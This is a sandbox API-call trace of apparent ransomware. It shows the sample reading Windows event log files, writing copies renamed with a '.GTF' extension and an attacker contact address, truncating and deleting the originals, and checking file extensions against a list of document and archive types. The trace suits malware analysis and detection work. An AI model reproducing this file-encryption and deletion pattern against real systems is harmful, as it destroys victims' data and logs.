	[0084.085] ReadFile (in: hFile=0x31c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.085] WriteFile (in: hFile=0x378, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x12c, lpOverlapped=0x0) returned 1
	[0084.085] SetEndOfFile (hFile=0x378) returned 1
	[0084.085] CloseHandle (hObject=0x378) returned 1
	[0084.088] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.088] SetEndOfFile (hFile=0x31c) returned 1
	[0084.089] CloseHandle (hObject=0x31c) returned 1
	[0084.089] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0084.089] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 1
	[0084.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0084.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0084.090] lstrlenW (lpString=".doc") returned 4
	[0084.090] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.090] lstrlenW (lpString=".docx") returned 5
	[0084.090] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.090] lstrlenW (lpString=".pdf") returned 4
	[0084.090] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.090] lstrlenW (lpString=".xls") returned 4
	[0084.090] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.090] lstrlenW (lpString=".xlsx") returned 5
	[0084.090] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.090] lstrlenW (lpString=".ppt") returned 4
	[0084.090] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0084.090] lstrlenW (lpString=".zip") returned 4
	[0084.090] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.090] lstrlenW (lpString=".rar") returned 4
	[0084.090] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.090] lstrlenW (lpString=".bz2") returned 4
	[0084.090] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.090] lstrlenW (lpString=".7z") returned 3
	[0084.090] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0084.090] lstrlenW (lpString=".dbf") returned 4
	[0084.090] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0084.090] lstrlenW (lpString=".1cd") returned 4
	[0084.090] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0084.090] lstrlenW (lpString=".jpg") returned 4
	[0084.090] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.091] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0084.091] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0084.091] lstrlenW (lpString=".doc") returned 4
	[0084.091] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.091] lstrlenW (lpString=".docx") returned 5
	[0084.091] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.091] lstrlenW (lpString=".pdf") returned 4
	[0084.091] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.091] lstrlenW (lpString=".xls") returned 4
	[0084.091] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.091] lstrlenW (lpString=".xlsx") returned 5
	[0084.091] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.091] lstrlenW (lpString=".ppt") returned 4
	[0084.091] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.091] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0084.091] lstrlenW (lpString=".zip") returned 4
	[0084.091] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.091] lstrlenW (lpString=".rar") returned 4
	[0084.091] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.091] lstrlenW (lpString=".bz2") returned 4
	[0084.091] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.091] lstrlenW (lpString=".7z") returned 3
	[0084.091] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.091] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0084.091] lstrlenW (lpString=".dbf") returned 4
	[0084.091] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.091] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0084.091] lstrlenW (lpString=".1cd") returned 4
	[0084.091] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.091] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52
	[0084.091] lstrlenW (lpString=".jpg") returned 4
	[0084.091] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.091] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0084.092] lstrlenW (lpString="Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 48
	[0084.092] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0084.092] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=1052672) returned 1
	[0084.092] CloseHandle (hObject=0x31c) returned 1
	[0084.092] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 0x20
	[0084.092] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.092] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0084.092] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.092] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.092] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.093] GetLastError () returned 0x0
	[0084.093] ReadFile (in: hFile=0x31c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0084.214] WriteFile (in: hFile=0x378, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0084.231] ReadFile (in: hFile=0x31c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x1010, lpOverlapped=0x0) returned 1
	[0084.239] WriteFile (in: hFile=0x378, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0084.243] ReadFile (in: hFile=0x31c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.243] WriteFile (in: hFile=0x378, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x134, lpOverlapped=0x0) returned 1
	[0084.243] SetEndOfFile (hFile=0x378) returned 1
	[0084.243] CloseHandle (hObject=0x378) returned 1
	[0084.360] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.360] SetEndOfFile (hFile=0x31c) returned 1
	[0084.361] CloseHandle (hObject=0x31c) returned 1
	[0084.361] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0084.361] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 1
	[0084.362] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.362] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.362] lstrlenW (lpString=".doc") returned 4
	[0084.362] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.362] lstrlenW (lpString=".docx") returned 5
	[0084.362] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.362] lstrlenW (lpString=".pdf") returned 4
	[0084.362] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.362] lstrlenW (lpString=".xls") returned 4
	[0084.362] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.362] lstrlenW (lpString=".xlsx") returned 5
	[0084.362] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.362] lstrlenW (lpString=".ppt") returned 4
	[0084.362] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.362] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.362] lstrlenW (lpString=".zip") returned 4
	[0084.362] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.362] lstrlenW (lpString=".rar") returned 4
	[0084.362] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.362] lstrlenW (lpString=".bz2") returned 4
	[0084.362] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.362] lstrlenW (lpString=".7z") returned 3
	[0084.362] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.362] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.362] lstrlenW (lpString=".dbf") returned 4
	[0084.362] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.362] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.362] lstrlenW (lpString=".1cd") returned 4
	[0084.362] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.362] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.362] lstrlenW (lpString=".jpg") returned 4
	[0084.362] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.363] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.363] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.363] lstrlenW (lpString=".doc") returned 4
	[0084.363] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.363] lstrlenW (lpString=".docx") returned 5
	[0084.363] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.363] lstrlenW (lpString=".pdf") returned 4
	[0084.363] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.363] lstrlenW (lpString=".xls") returned 4
	[0084.363] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.363] lstrlenW (lpString=".xlsx") returned 5
	[0084.363] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.363] lstrlenW (lpString=".ppt") returned 4
	[0084.363] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.363] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.363] lstrlenW (lpString=".zip") returned 4
	[0084.363] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.363] lstrlenW (lpString=".rar") returned 4
	[0084.363] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.363] lstrlenW (lpString=".bz2") returned 4
	[0084.363] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.363] lstrlenW (lpString=".7z") returned 3
	[0084.363] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.363] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.363] lstrlenW (lpString=".dbf") returned 4
	[0084.363] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.363] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.363] lstrlenW (lpString=".1cd") returned 4
	[0084.363] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.363] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56
	[0084.363] lstrlenW (lpString=".jpg") returned 4
	[0084.363] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.363] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0084.364] lstrlenW (lpString="Setup.evtx") returned 10
	[0084.364] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0084.364] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=69632) returned 1
	[0084.364] CloseHandle (hObject=0x31c) returned 1
	[0084.364] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 0x20
	[0084.364] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.364] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0084.364] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.364] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.364] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.365] GetLastError () returned 0x0
	[0084.365] ReadFile (in: hFile=0x31c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0084.367] WriteFile (in: hFile=0x378, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0084.369] ReadFile (in: hFile=0x31c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.369] WriteFile (in: hFile=0x378, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0084.369] SetEndOfFile (hFile=0x378) returned 1
	[0084.370] CloseHandle (hObject=0x378) returned 1
	[0084.372] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.372] SetEndOfFile (hFile=0x31c) returned 1
	[0084.373] CloseHandle (hObject=0x31c) returned 1
	[0084.373] SetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0084.373] DeleteFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 1
	[0084.373] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0084.373] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0084.373] lstrlenW (lpString=".doc") returned 4
	[0084.373] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.374] lstrlenW (lpString=".docx") returned 5
	[0084.374] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.374] lstrlenW (lpString=".pdf") returned 4
	[0084.374] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.374] lstrlenW (lpString=".xls") returned 4
	[0084.374] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.374] lstrlenW (lpString=".xlsx") returned 5
	[0084.374] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.374] lstrlenW (lpString=".ppt") returned 4
	[0084.374] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.374] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0084.374] lstrlenW (lpString=".zip") returned 4
	[0084.374] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.374] lstrlenW (lpString=".rar") returned 4
	[0084.374] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.374] lstrlenW (lpString=".bz2") returned 4
	[0084.374] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.374] lstrlenW (lpString=".7z") returned 3
	[0084.374] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.374] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0084.374] lstrlenW (lpString=".dbf") returned 4
	[0084.374] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.374] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0084.374] lstrlenW (lpString=".1cd") returned 4
	[0084.374] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.374] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0084.374] lstrlenW (lpString=".jpg") returned 4
	[0084.374] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.374] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0084.374] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0084.374] lstrlenW (lpString=".doc") returned 4
	[0084.374] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.374] lstrlenW (lpString=".docx") returned 5
	[0084.374] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.375] lstrlenW (lpString=".pdf") returned 4
	[0084.375] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.375] lstrlenW (lpString=".xls") returned 4
	[0084.375] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.375] lstrlenW (lpString=".xlsx") returned 5
	[0084.375] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.375] lstrlenW (lpString=".ppt") returned 4
	[0084.375] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.375] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0084.375] lstrlenW (lpString=".zip") returned 4
	[0084.375] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.375] lstrlenW (lpString=".rar") returned 4
	[0084.375] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.375] lstrlenW (lpString=".bz2") returned 4
	[0084.375] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.375] lstrlenW (lpString=".7z") returned 3
	[0084.375] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.375] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0084.375] lstrlenW (lpString=".dbf") returned 4
	[0084.375] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.375] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0084.375] lstrlenW (lpString=".1cd") returned 4
	[0084.375] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.375] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18
	[0084.375] lstrlenW (lpString=".jpg") returned 4
	[0084.375] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.375] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0084.375] lstrlenW (lpString="System.evtx") returned 11
	[0084.375] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0084.376] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=1118208) returned 1
	[0084.376] CloseHandle (hObject=0x31c) returned 1
	[0084.376] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 0x20
	[0084.376] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\system.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.377] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0084.377] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.377] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.377] CreateFileW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\system.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.377] GetLastError () returned 0x0
	[0084.377] ReadFile (in: hFile=0x31c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0084.520] WriteFile (in: hFile=0x378, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0084.537] ReadFile (in: hFile=0x31c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x11010, lpOverlapped=0x0) returned 1
	[0084.546] WriteFile (in: hFile=0x378, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x11020, lpOverlapped=0x0) returned 1
	[0084.551] ReadFile (in: hFile=0x31c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.551] WriteFile (in: hFile=0x378, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xea, lpOverlapped=0x0) returned 1
	[0084.551] SetEndOfFile (hFile=0x378) returned 1
	[0084.551] CloseHandle (hObject=0x378) returned 1
	[0084.585] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.585] SetEndOfFile (hFile=0x31c) returned 1
	[0084.587] CloseHandle (hObject=0x31c) returned 1
	[0084.587] SetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0084.587] DeleteFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 1
	[0084.587] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.587] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0084.587] lstrlenW (lpString=".doc") returned 4
	[0084.587] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.587] lstrlenW (lpString=".docx") returned 5
	[0084.587] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
